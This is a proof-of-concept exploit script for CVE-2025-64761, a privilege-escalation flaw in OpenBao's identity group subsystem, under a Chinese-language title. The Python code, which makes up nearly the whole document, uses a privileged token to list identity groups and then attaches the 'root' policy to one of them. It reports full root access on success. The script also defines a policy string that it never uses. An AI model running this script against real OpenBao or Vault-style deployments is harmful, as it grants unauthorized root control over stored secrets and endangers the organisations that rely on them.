CVE-2025-64761: OpenBao身份组子系统权限提升漏洞

# CVE-2025-64761 PoC - OpenBao Privilege Escalation via Identity Groups # Note: Requires high privileges and access to identity/groups endpoint import requests import json TARGET_URL = "http://target-openbao:8200" TOKEN = "high-privilege-token" # Requires token with identity/groups access def privilege_escalation_poc(): """ PoC for CVE-2025-64761: OpenBao Identity Group Privilege Escalation This demonstrates how a privileged operator can add root policy to escalate privileges. """ headers = { "X-Vault-Token": TOKEN, "Content-Type": "application/json" } # Step 1: Get existing group ID groups_response = requests.get( f"{TARGET_URL}/v1/identity/group/id", headers=headers ) if groups_response.status_code != 200: print(f"[-] Failed to access identity/groups endpoint: {groups_response.status_code}") return False groups = groups_response.json().get("data", {}).get("keys", []) if not groups: print("[-] No groups found") return False group_id = groups[0] print(f"[+] Found group ID: {group_id}") # Step 2: Read current group configuration group_info = requests.get( f"{TARGET_URL}/v1/identity/group/id/{group_id}", headers=headers ).json() # Step 3: Add root policy to group (PRIVILEGE ESCALATION) root_policy = '''path "*" { capabilities = ["create", "read", "update", "delete", "list", "sudo"] } ''' payload = { "policies": ["root"], # Adding root policy "type": "internal" } update_response = requests.post( f"{TARGET_URL}/v1/identity/group/id/{group_id}", headers=headers, json=payload ) if update_response.status_code in [200, 204]: print("[+] SUCCESS: Root policy added to group - Privilege Escalation achieved!") print("[+] Attacker can now access all system resources with root privileges") return True else: print(f"[-] Exploitation failed: {update_response.status_code}") return False if __name__ == "__main__": print("CVE-2025-64761 PoC - OpenBao Privilege Escalation") print("=" * 50) privilege_escalation_poc()